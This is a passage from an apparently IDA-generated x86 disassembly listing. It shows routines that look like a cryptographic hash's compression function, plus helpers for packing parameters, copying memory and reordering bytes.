lea eax, [ebp+var_3C98]
push 200h ; int
push eax ; Dst
call sub_9B6665
mov eax, [ebp+arg_4]
push 8
pop ecx
mul ecx
push edx
push eax
push [ebp+arg_0]
lea eax, [ebp+var_3C98]
push eax
call sub_9B6942
lea eax, [ebp+var_3C98]
push 0 ; Dst
push eax ; int
call sub_9B6BB5
push 40h ; Size
lea eax, [ebp+Src]
push eax ; Src
push [ebp+Dst] ; Dst
call memcpy
add esp, 2Ch
leave
retn
sub_9B5980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B59DB proc near ; CODE XREF: sub_9B6193+63p
var_54 = dword ptr -54h
var_4C = dword ptr -4Ch
var_44 = dword ptr -44h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 54h
mov ecx, [ebp+arg_4]
shl ecx, 4
test ecx, ecx
mov [ebp+var_C], 89ABCDEFh
mov [ebp+var_8], 1234567h
jle locret_9B6191
mov eax, [ebp+arg_0]
add eax, 1D0h
dec ecx
push ebx
shr ecx, 4
inc ecx
push esi
mov [ebp+var_4], ecx
push edi
loc_9B5A10: ; CODE XREF: sub_9B59DB+7ADj
mov edi, [eax+50h]
mov ebx, [eax+68h]
mov esi, [eax+54h]
mov edx, [eax-11Ch]
and edx, [eax+4]
and ebx, edi
mov ecx, [eax-120h]
and ecx, [eax]
mov edi, [eax+6Ch]
xor ecx, ebx
xor ecx, [eax-1D0h]
and edi, esi
xor edx, edi
xor edx, [eax-1CCh]
mov esi, [eax+70h]
xor edx, [eax+74h]
xor ecx, esi
xor ecx, [ebp+var_C]
xor edx, [ebp+var_8]
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Ah
xor ecx, edi
shr ebx, 0Ah
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 0Bh
xor ebx, edx
mov edx, [eax-114h]
and edx, [eax+0Ch]
shl edi, 0Bh
xor edi, ecx
mov ecx, [eax-118h]
and ecx, [eax+8]
mov [eax+0FCh], ebx
mov ebx, [eax+58h]
and esi, ebx
mov ebx, [eax+74h]
mov [eax+0F8h], edi
mov edi, [eax+5Ch]
and ebx, edi
xor edx, ebx
xor edx, [eax-1C4h]
xor ecx, esi
xor ecx, [eax-1C8h]
mov esi, [eax+7Ch]
xor ecx, [eax+78h]
xor edx, esi
xor ecx, [ebp+var_C]
xor edx, [ebp+var_8]
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 5
xor ecx, edi
shr ebx, 5
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 18h
shl edi, 18h
xor edi, ecx
xor ebx, edx
mov edx, [eax-10Ch]
and edx, [eax+14h]
lea ecx, [eax+80h]
mov [ebp+arg_4], ecx
mov ecx, [eax-110h]
and ecx, [eax+10h]
mov [eax+100h], edi
mov edi, [eax+60h]
and edi, [eax+78h]
mov [eax+104h], ebx
mov ebx, [eax+64h]
and ebx, esi
mov esi, [ebp+arg_4]
xor ecx, edi
xor ecx, [eax-1C0h]
mov edi, [esi]
xor edx, ebx
xor edx, [eax-1BCh]
mov esi, [esi+4]
xor ecx, edi
xor ecx, [ebp+var_C]
xor edx, esi
xor edx, [ebp+var_8]
mov [ebp+var_30], esi
mov esi, ecx
mov ebx, edx
shrd esi, ebx, 0Dh
xor ecx, esi
shr ebx, 0Dh
xor edx, ebx
mov esi, ecx
mov ebx, edx
shld ebx, esi, 9
xor ebx, edx
mov edx, [eax-104h]
and edx, [eax+1Ch]
shl esi, 9
xor esi, ecx
mov ecx, [eax-108h]
and ecx, [eax+18h]
mov [eax+108h], esi
mov esi, [eax+68h]
and esi, edi
mov edi, [eax+6Ch]
and edi, [ebp+var_30]
xor ecx, esi
xor ecx, [eax-1B8h]
mov esi, [eax+88h]
xor edx, edi
xor edx, [eax-1B4h]
xor ecx, esi
xor edx, [eax+8Ch]
xor ecx, [ebp+var_C]
xor edx, [ebp+var_8]
mov [eax+10Ch], ebx
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Ah
xor ecx, edi
shr ebx, 0Ah
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 10h
shl edi, 10h
xor edi, ecx
mov ecx, [eax-100h]
and ecx, [eax+20h]
xor ebx, edx
mov edx, [eax-0FCh]
and edx, [eax+24h]
mov [eax+110h], edi
mov edi, [eax+70h]
and edi, esi
mov esi, [eax+74h]
and esi, [eax+8Ch]
xor ecx, edi
xor ecx, [eax-1B0h]
xor edx, esi
xor edx, [eax-1ACh]
mov esi, [eax+90h]
xor edx, [eax+94h]
xor ecx, esi
xor ecx, [ebp+var_C]
xor edx, [ebp+var_8]
mov [eax+114h], ebx
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Bh
shr ebx, 0Bh
xor ecx, edi
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 0Fh
shl edi, 0Fh
xor edi, ecx
xor ebx, edx
mov [eax+118h], edi
mov edx, [eax-0F4h]
and edx, [eax+2Ch]
mov edi, [eax+94h]
and edi, [eax+7Ch]
mov ecx, [eax-0F8h]
and ecx, [eax+28h]
and esi, [eax+78h]
xor edx, edi
xor edx, [eax-1A4h]
xor ecx, esi
xor ecx, [eax-1A8h]
xor edx, [eax+9Ch]
mov esi, [eax+98h]
xor edx, [ebp+var_8]
xor ecx, esi
xor ecx, [ebp+var_C]
mov [eax+11Ch], ebx
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Ch
xor ecx, edi
shr ebx, 0Ch
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 9
xor ebx, edx
mov edx, [eax-0ECh]
and edx, [eax+34h]
shl edi, 9
xor edi, ecx
mov ecx, [eax-0F0h]
and ecx, [eax+30h]
mov [eax+124h], ebx
mov ebx, [ebp+arg_4]
mov [eax+120h], edi
mov edi, esi
and edi, [ebx]
mov ebx, [eax+9Ch]
and ebx, [ebp+var_30]
xor ecx, edi
xor ecx, [eax-1A0h]
xor edx, ebx
xor edx, [eax-19Ch]
xor ecx, [eax+0A0h]
xor edx, [eax+0A4h]
xor ecx, [ebp+var_C]
xor edx, [ebp+var_8]
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 2
xor ecx, edi
shr ebx, 2
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 1Bh
xor ebx, edx
mov edx, [eax-0E4h]
and edx, [eax+3Ch]
shl edi, 1Bh
xor edi, ecx
mov ecx, [eax-0E8h]
and ecx, [eax+38h]
mov [eax+128h], edi
mov edi, [eax+0A0h]
and edi, [eax+88h]
mov [eax+12Ch], ebx
mov ebx, [eax+0A4h]
and ebx, [eax+8Ch]
xor ecx, edi
xor ecx, [eax-198h]
xor edx, ebx
xor edx, [eax-194h]
xor ecx, [eax+0A8h]
xor edx, [eax+0ACh]
xor ecx, [ebp+var_C]
xor edx, [ebp+var_8]
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 7
xor ecx, edi
shr ebx, 7
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 0Fh
xor ebx, edx
mov edx, [eax-0DCh]
and edx, [eax+44h]
shl edi, 0Fh
xor edi, ecx
mov ecx, [eax+0B0h]
mov [ebp+var_14], ecx
mov ecx, [eax+0B4h]
mov [ebp+var_10], ecx
mov ecx, [eax-0E0h]
and ecx, [eax+40h]
mov [eax+130h], edi
mov edi, [eax+0A8h]
and edi, [eax+90h]
mov [eax+134h], ebx
mov ebx, [eax+0ACh]
and ebx, [eax+94h]
xor ecx, edi
xor ecx, [eax-190h]
xor edx, ebx
xor edx, [eax-18Ch]
xor ecx, [ebp+var_14]
xor edx, [ebp+var_10]
xor ecx, [ebp+var_C]
xor edx, [ebp+var_8]
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Eh
xor ecx, edi
shr ebx, 0Eh
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 6
shl edi, 6
xor edi, ecx
mov ecx, [eax-0D8h]
and ecx, [eax+48h]
xor ebx, edx
mov edx, [eax-0D4h]
and edx, [eax+4Ch]
mov [eax+138h], edi
mov edi, [ebp+var_14]
and edi, esi
mov esi, [ebp+var_10]
and esi, [eax+9Ch]
xor ecx, edi
xor ecx, [eax-188h]
xor edx, esi
xor edx, [eax-184h]
xor ecx, [eax+0B8h]
xor edx, [eax+0BCh]
xor ecx, [ebp+var_C]
mov esi, [ebp+var_8]
mov [eax+13Ch], ebx
xor edx, esi
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Fh
xor ecx, edi
shr ebx, 0Fh
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 2
shl edi, 2
xor edi, ecx
mov ecx, [eax-0D0h]
and ecx, [eax+50h]
xor ebx, edx
mov edx, [eax-0CCh]
and edx, [eax+54h]
mov [eax+140h], edi
mov edi, [eax+0B8h]
mov [eax+144h], ebx
and edi, [eax+0A0h]
mov ebx, [eax+0BCh]
and ebx, [eax+0A4h]
xor ecx, edi
xor ecx, [eax-180h]
xor edx, ebx
xor edx, [eax-17Ch]
xor ecx, [eax+0C0h]
xor edx, [eax+0C4h]
xor ecx, [ebp+var_C]
xor edx, esi
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 7
xor ecx, edi
shr ebx, 7
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 1Dh
xor ebx, edx
mov edx, [eax-0C4h]
and edx, [eax+5Ch]
shl edi, 1Dh
xor edi, ecx
mov ecx, [eax-0C8h]
and ecx, [eax+58h]
mov [eax+148h], edi
mov edi, [eax+0C0h]
and edi, [eax+0A8h]
mov [eax+14Ch], ebx
mov ebx, [eax+0C4h]
and ebx, [eax+0ACh]
xor ecx, edi
xor ecx, [eax-178h]
xor edx, ebx
xor edx, [eax-174h]
xor ecx, [eax+0C8h]
xor edx, [eax+0CCh]
xor ecx, [ebp+var_C]
xor edx, esi
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Dh
xor ecx, edi
shr ebx, 0Dh
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 8
shl edi, 8
xor edi, ecx
mov ecx, [eax+0D0h]
mov [ebp+var_1C], ecx
mov ecx, [eax+0D4h]
mov [eax+150h], edi
mov edi, [ebp+var_14]
and edi, [eax+0C8h]
xor ebx, edx
mov edx, [eax-0BCh]
and edx, [eax+64h]
mov [ebp+var_18], ecx
mov ecx, [eax-0C0h]
and ecx, [eax+60h]
mov [ebp+var_3C], edi
mov edi, [ebp+var_10]
and edi, [eax+0CCh]
xor ecx, [ebp+var_3C]
xor edx, edi
xor ecx, [eax-170h]
xor edx, [eax-16Ch]
xor ecx, [ebp+var_1C]
xor edx, [ebp+var_18]
xor ecx, [ebp+var_C]
mov [eax+154h], ebx
xor edx, esi
mov edi, ecx
mov ebx, edx
shrd edi, ebx, 0Bh
shr ebx, 0Bh
xor ecx, edi
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 0Fh
xor ebx, edx
mov edx, [eax-0B4h]
and edx, [eax+6Ch]
shl edi, 0Fh
xor edi, ecx
mov ecx, [eax+0D8h]
mov [ebp+var_24], ecx
mov ecx, [eax+0DCh]
mov [eax+158h], edi
mov edi, [eax+0B8h]
mov [eax+15Ch], ebx
mov ebx, [ebp+var_1C]
and ebx, edi
mov edi, [ebp+var_18]
mov [ebp+var_20], ecx
mov ecx, [eax-0B8h]
and ecx, [eax+68h]
mov [ebp+var_44], ebx
xor ecx, [ebp+var_44]
mov ebx, [eax+0BCh]
xor ecx, [eax-168h]
and edi, ebx
xor ecx, [ebp+var_24]
xor edx, edi
xor edx, [eax-164h]
xor ecx, [ebp+var_C]
xor edx, [ebp+var_20]
mov edi, ecx
xor edx, esi
mov ebx, edx
shrd edi, ebx, 7
xor ecx, edi
shr ebx, 7
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 5
xor ebx, edx
mov edx, [eax-0ACh]
and edx, [eax+74h]
shl edi, 5
xor edi, ecx
mov ecx, [eax+0E0h]
mov [eax+160h], edi
mov edi, [eax+0C0h]
mov [eax+164h], ebx
mov ebx, [ebp+var_24]
and ebx, edi
mov edi, [ebp+var_20]
mov [ebp+var_2C], ecx
mov ecx, [eax+0E4h]
mov [ebp+var_28], ecx
mov ecx, [eax-0B0h]
and ecx, [eax+70h]
mov [ebp+var_4C], ebx
xor ecx, [ebp+var_4C]
mov ebx, [eax+0C4h]
xor ecx, [eax-160h]
and edi, ebx
xor ecx, [ebp+var_2C]
xor edx, edi
xor edx, [eax-15Ch]
xor ecx, [ebp+var_C]
xor edx, [ebp+var_28]
mov edi, ecx
xor edx, esi
mov ebx, edx
shrd edi, ebx, 6
shr ebx, 6
xor ecx, edi
xor edx, ebx
mov edi, ecx
mov ebx, edx
shld ebx, edi, 1Fh
shl edi, 1Fh
xor edi, ecx
xor ebx, edx
mov ecx, [eax-0A8h]
and ecx, [eax+78h]
mov edx, [eax-0A4h]
and edx, [eax+7Ch]
mov [eax+168h], edi
mov edi, [eax+0C8h]
mov [eax+16Ch], ebx
mov ebx, [ebp+var_2C]
and ebx, edi
mov edi, [ebp+var_28]
mov [ebp+var_54], ebx
mov ebx, [eax+0CCh]
xor ecx, [ebp+var_54]
and edi, ebx
xor ecx, [eax-158h]
xor edx, edi
xor edx, [eax-154h]
xor ecx, [eax+0E8h]
xor edx, [eax+0ECh]
xor ecx, [ebp+var_C]
xor edx, esi
mov ebx, edx
mov edi, ecx
shrd edi, ebx, 0Ch
xor ecx, edi
shr ebx, 0Ch
xor edx, ebx
mov ebx, edx
mov edi, ecx
shld ebx, edi, 9
xor ebx, edx
shl edi, 9
xor edi, ecx
mov [eax+170h], edi
mov [eax+174h], ebx
mov eax, [ebp+var_C]
and eax, 2425CFA0h
mov edx, esi
shr edx, 1Fh
xor eax, edx
mov edx, [ebp+var_C]
mov ecx, esi
shld esi, edx, 1
and ecx, 7311C281h
xor edi, edi
shl edx, 1
xor ecx, edi
xor eax, edx
xor ecx, esi
dec [ebp+var_4]
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_8], ecx
jnz loc_9B5A10
pop edi
pop esi
pop ebx
locret_9B6191: ; CODE XREF: sub_9B59DB+1Cj
leave
retn
sub_9B59DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B6193(int, void *Src, int, void *Val)
sub_9B6193 proc near ; CODE XREF: sub_9B6363+123p
arg_0 = dword ptr 8
Src = dword ptr 0Ch
arg_8 = dword ptr 10h
Val = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+Src], 0
push ebx
push edi
mov edi, [ebp+Val]
mov ebx, edi
jnz short loc_9B61A7
push 9
jmp short loc_9B61AF
; ---------------------------------------------------------------------------
loc_9B61A7: ; CODE XREF: sub_9B6193+Ej
cmp [ebp+arg_0], 0
jnz short loc_9B61B5
push 0Fh
loc_9B61AF: ; CODE XREF: sub_9B6193+12j
pop eax
jmp loc_9B623A
; ---------------------------------------------------------------------------
loc_9B61B5: ; CODE XREF: sub_9B6193+18j
push esi
mov esi, [ebp+arg_8]
test esi, esi
jl short loc_9B6236
cmp esi, 0FFh
jg short loc_9B6236
test edi, edi
jnz short loc_9B61E6
mov eax, esi
shl eax, 4
add eax, 59h
push 8 ; SizeOfElements
push eax ; NumOfElements
call calloc
mov edi, eax
test edi, edi
pop ecx
pop ecx
jnz short loc_9B61E6
push 12h
jmp short loc_9B6238
; ---------------------------------------------------------------------------
loc_9B61E6: ; CODE XREF: sub_9B6193+34j
; sub_9B6193+4Dj
push 2C8h ; Size
push [ebp+Src] ; Src
push edi ; Dst
call memcpy
push esi
push edi
call sub_9B59DB
shl esi, 7
push 80h ; Size
lea eax, [esi+edi+248h]
push eax ; Src
push [ebp+arg_0] ; Dst
call memcpy
add esp, 20h
test ebx, ebx
jnz short loc_9B6232
add esi, 2C8h
push esi ; Size
push ebx ; Val
push edi ; Dst
call memset
push edi ; Memory
call free
add esp, 10h
loc_9B6232: ; CODE XREF: sub_9B6193+85j
xor eax, eax
jmp short loc_9B6239
; ---------------------------------------------------------------------------
loc_9B6236: ; CODE XREF: sub_9B6193+28j
; sub_9B6193+30j
push 11h
loc_9B6238: ; CODE XREF: sub_9B6193+51j
pop eax
loc_9B6239: ; CODE XREF: sub_9B6193+A1j
pop esi
loc_9B623A: ; CODE XREF: sub_9B6193+1Dj
pop edi
pop ebx
pop ebp
retn
sub_9B6193 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B623E proc near ; CODE XREF: sub_9B62B8+79p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cdq
shld edx, eax, 8
shl eax, 8
mov ecx, eax
mov eax, [ebp+arg_4]
push esi
mov esi, edx
cdq
or ecx, eax
mov eax, [ebp+arg_8]
or esi, edx
shld esi, ecx, 4
shl ecx, 4
cdq
or ecx, eax
mov eax, [ebp+arg_C]
or esi, edx
shld esi, ecx, 10h
shl ecx, 10h
cdq
or ecx, eax
mov eax, [ebp+arg_10]
or esi, edx
shld esi, ecx, 8
cdq
shl ecx, 8
or ecx, eax
mov eax, [ebp+arg_14]
or esi, edx
shld esi, ecx, 0Ch
cdq
shl ecx, 0Ch
or ecx, eax
or esi, edx
mov edx, esi
mov eax, ecx
pop esi
pop ebp
retn
sub_9B623E endp
; =============== S U B R O U T I N E =======================================
sub_9B629C proc near ; CODE XREF: sub_9B62B8+4Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cdq
mov ecx, eax
mov eax, [esp+arg_4]
cdq
push esi
xor esi, esi
shl ecx, 18h
or esi, eax
or ecx, edx
mov eax, esi
mov edx, ecx
pop esi
retn
sub_9B629C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B62B8 proc near ; CODE XREF: sub_9B6363+DBp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Src = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
arg_2C = dword ptr 34h
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_4]
push esi
push edi
mov edi, [ebp+arg_0]
push 0Fh
pop esi
mov eax, edi
sub ecx, edi
mov [ebp+arg_0], esi
loc_9B62D0: ; CODE XREF: sub_9B62B8+2Aj
mov edx, [ecx+eax]
mov [eax], edx
mov edx, [ecx+eax+4]
mov [eax+4], edx
add eax, 8
dec [ebp+arg_0]
jnz short loc_9B62D0
mov ecx, [ebp+arg_8]
xor eax, eax
loc_9B62E9: ; CODE XREF: sub_9B62B8+44j
mov edx, [ecx+eax*8]
mov [edi+esi*8], edx
mov edx, [ecx+eax*8+4]
mov [edi+esi*8+4], edx
inc esi
inc eax
cmp eax, 8
jl short loc_9B62E9
push [ebp+arg_10]
push [ebp+arg_C]
call sub_9B629C
mov [ebp+Src], eax
push 8 ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [edi+esi*8]
push eax ; Dst
mov [ebp+var_4], edx
call memcpy
push [ebp+arg_28]
inc esi
push [ebp+arg_24]
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
call sub_9B623E
mov [ebp+var_10], eax
push 8 ; Size
lea eax, [ebp+var_10]
push eax ; Src
lea esi, [edi+esi*8]
push esi ; Dst
mov [ebp+var_C], edx
call memcpy
push 200h ; Size
push [ebp+arg_2C] ; Src
add esi, 8
push esi ; Dst
call memcpy
add esp, 44h
pop edi
pop esi
leave
retn
sub_9B62B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B6363 proc near ; CODE XREF: sub_9B66FE+BEp
Val = byte ptr -9F08h
Src = byte ptr -2C8h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
arg_2C = dword ptr 34h
push ebp
mov ebp, esp
mov eax, 9F08h
call __alloca_probe
xor ecx, ecx
cmp [ebp+arg_0], ecx
push esi
push edi
jnz short loc_9B637D
push 0Fh
jmp short loc_9B6384
; ---------------------------------------------------------------------------
loc_9B637D: ; CODE XREF: sub_9B6363+14j
cmp [ebp+arg_2C], ecx
jnz short loc_9B638A
push 0Ah
loc_9B6384: ; CODE XREF: sub_9B6363+18j
pop eax
jmp loc_9B649C
; ---------------------------------------------------------------------------
loc_9B638A: ; CODE XREF: sub_9B6363+1Dj
xor edx, edx
mov eax, 0FFh
cmp [ebp+arg_14], eax
push ebx
setnle dl
xor ebx, ebx
cmp [ebp+arg_14], ecx
setl bl
or edx, ebx
jz short loc_9B63AB
push 11h
jmp loc_9B649A
; ---------------------------------------------------------------------------
loc_9B63AB: ; CODE XREF: sub_9B6363+3Fj
xor edx, edx
cmp [ebp+arg_18], eax
setnle dl
xor ebx, ebx
cmp [ebp+arg_18], ecx
setl bl
or edx, ebx
jz short loc_9B63C6
push 10h
jmp loc_9B649A
; ---------------------------------------------------------------------------
loc_9B63C6: ; CODE XREF: sub_9B6363+5Aj
mov ebx, [ebp+arg_C]
cmp ebx, ecx
jl loc_9B6498
cmp ebx, eax
jg loc_9B6498
mov edi, [ebp+arg_20]
cmp edi, ecx
jl loc_9B6494
cmp edi, 1000h
jg loc_9B6494
mov esi, [ebp+arg_28]
cmp esi, ecx
jle loc_9B6490
cmp esi, 200h
jg loc_9B6490
cmp [ebp+arg_8], ecx
jnz short loc_9B6413
push 0Dh
jmp loc_9B649A
; ---------------------------------------------------------------------------
loc_9B6413: ; CODE XREF: sub_9B6363+A7j
cmp [ebp+arg_4], ecx
jnz short loc_9B641C
push 0Eh
jmp short loc_9B649A
; ---------------------------------------------------------------------------
loc_9B641C: ; CODE XREF: sub_9B6363+B3j
push [ebp+arg_2C]
lea eax, [ebp+Src]
push esi
push [ebp+arg_24]
push edi
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_9B62B8
mov eax, ds:dword_9BA2E4
add esp, 30h
test eax, eax
jz short loc_9B6472
push [ebp+arg_2C]
push esi
push [ebp+arg_24]
push edi
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call eax ; dword_9BA2E4
add esp, 30h
loc_9B6472: ; CODE XREF: sub_9B6363+EAj
lea eax, [ebp+Val]
push eax ; Val
push [ebp+arg_14] ; int
lea eax, [ebp+Src]
push eax ; Src
push [ebp+arg_0] ; int
call sub_9B6193
add esp, 10h
jmp short loc_9B649B
; ---------------------------------------------------------------------------
loc_9B6490: ; CODE XREF: sub_9B6363+92j
; sub_9B6363+9Ej
push 2
jmp short loc_9B649A
; ---------------------------------------------------------------------------
loc_9B6494: ; CODE XREF: sub_9B6363+7Bj
; sub_9B6363+87j
push 0Ch
jmp short loc_9B649A
; ---------------------------------------------------------------------------
loc_9B6498: ; CODE XREF: sub_9B6363+68j
; sub_9B6363+70j
push 0Bh
loc_9B649A: ; CODE XREF: sub_9B6363+43j
; sub_9B6363+5Ej ...
pop eax
loc_9B649B: ; CODE XREF: sub_9B6363+12Bj
pop ebx
loc_9B649C: ; CODE XREF: sub_9B6363+22j
pop edi
pop esi
leave
retn
sub_9B6363 endp
; =============== S U B R O U T I N E =======================================
sub_9B64A0 proc near ; CODE XREF: sub_9B6513+1Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
xor edx, edx
or edx, esi
xor ecx, ecx
or eax, ecx
mov ebx, edx
mov esi, edx
mov edi, eax
shld ebx, edi, 10h
mov ecx, eax
shrd ecx, esi, 10h
shld edx, eax, 10h
shl edi, 10h
xor ecx, edi
shr esi, 10h
xor esi, ebx
shl eax, 10h
mov edi, 0FFFFh
and esi, edi
and ecx, edi
xor esi, edx
xor ecx, eax
mov ebx, esi
mov edx, esi
mov edi, ecx
shld ebx, edi, 8
mov eax, ecx
shrd eax, edx, 8
shl edi, 8
shr edx, 8
xor eax, edi
shld esi, ecx, 8
xor edx, ebx
mov edi, 0FF00FFh
and eax, edi
and edx, edi
pop edi
xor edx, esi
shl ecx, 8
pop esi
xor eax, ecx
pop ebx
retn
sub_9B64A0 endp
; =============== S U B R O U T I N E =======================================
sub_9B6513 proc near ; CODE XREF: sub_9B66FE+6Ap
; sub_9B6BB5+62p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp ds:dword_9B9DF8, 1
jnz short locret_9B6547
push edi
xor edi, edi
cmp [esp+4+arg_4], edi
jle short loc_9B6546
push esi
loc_9B6526: ; CODE XREF: sub_9B6513+30j
mov eax, [esp+8+arg_0]
lea esi, [eax+edi*8]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_9B64A0
inc edi
cmp edi, [esp+10h+arg_4]
pop ecx
pop ecx
mov [esi], eax
mov [esi+4], edx
jl short loc_9B6526
pop esi
loc_9B6546: ; CODE XREF: sub_9B6513+10j
pop edi
locret_9B6547: ; CODE XREF: sub_9B6513+7j
retn
sub_9B6513 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B6548 proc near ; CODE XREF: sub_9B6942+BCp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push edi
mov edi, [ebp+arg_C]
xor edx, edx
cmp edi, edx
jz loc_9B6662
mov eax, [ebp+arg_4]
mov ecx, eax
and ecx, 7
push ebx
push esi
mov [ebp+var_4], edx
jz short loc_9B6586
mov ebx, [ebp+arg_0]
mov edx, ecx
mov esi, eax
shr esi, 3
mov bl, [esi+ebx]
mov cl, 8
sub cl, dl
shr bl, cl
movzx cx, bl
mov word ptr [ebp+var_4], cx
loc_9B6586: ; CODE XREF: sub_9B6548+21j
add edi, 7
shr eax, 3
shr edi, 3
xor esi, esi
test edi, edi
mov [ebp+var_C], eax
jle loc_9B6660
lea eax, [edi-1]
loc_9B659F: ; CODE XREF: sub_9B6548+112j
cmp esi, eax
jz short loc_9B65B7
mov eax, [ebp+arg_8]
movzx ax, byte ptr [esi+eax]
xor ecx, ecx
mov ch, byte ptr [ebp+var_4]
xor eax, ecx
add edx, 8
jmp short loc_9B65E7
; ---------------------------------------------------------------------------
loc_9B65B7: ; CODE XREF: sub_9B6548+59j
mov eax, [ebp+arg_C]
and eax, 7
mov [ebp+var_8], 8
jz short loc_9B65C9
mov [ebp+var_8], eax
loc_9B65C9: ; CODE XREF: sub_9B6548+7Cj
mov eax, [ebp+arg_8]
movzx eax, byte ptr [esi+eax]
mov ebx, [ebp+var_4]
mov cl, 8
sub cl, byte ptr [ebp+var_8]
shr al, cl
mov ecx, [ebp+var_8]
shl ebx, cl
movzx ax, al
or eax, ebx
add edx, ecx
loc_9B65E7: ; CODE XREF: sub_9B6548+6Dj
mov [ebp+var_4], eax
xor ecx, ecx
lea eax, [edi-1]
cmp esi, eax
setnz cl
mov [ebp+var_10], ecx
loc_9B65F7: ; CODE XREF: sub_9B6548+10Dj
mov ecx, [ebp+var_10]
xor eax, eax
cmp edx, 8
setnl al
test ecx, eax
jnz short loc_9B661B
xor ecx, ecx
lea eax, [edi-1]
cmp esi, eax
setz cl
xor ebx, ebx
test edx, edx
setnle bl
test ebx, ecx
jz short loc_9B6657
loc_9B661B: ; CODE XREF: sub_9B6548+BCj
push 8
pop eax
cmp edx, eax
mov [ebp+var_8], eax
jg short loc_9B6628
mov [ebp+var_8], edx
loc_9B6628: ; CODE XREF: sub_9B6548+DBj
mov ebx, [ebp+var_4]
mov cl, dl
sub cl, byte ptr [ebp+var_8]
shr bx, cl
mov ecx, eax
sub ecx, [ebp+var_8]
mov eax, 0FF00h
shl bl, cl
mov ecx, [ebp+var_8]
sar eax, cl
mov ecx, [ebp+var_C]
and bl, al
mov eax, [ebp+arg_0]
inc [ebp+var_C]
sub edx, [ebp+var_8]
mov [ecx+eax], bl
jmp short loc_9B65F7
; ---------------------------------------------------------------------------
loc_9B6657: ; CODE XREF: sub_9B6548+D1j
inc esi
cmp esi, edi
jl loc_9B659F
loc_9B6660: ; CODE XREF: sub_9B6548+4Ej
pop esi
pop ebx
loc_9B6662: ; CODE XREF: sub_9B6548+Ej
pop edi
leave
retn
sub_9B6548 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
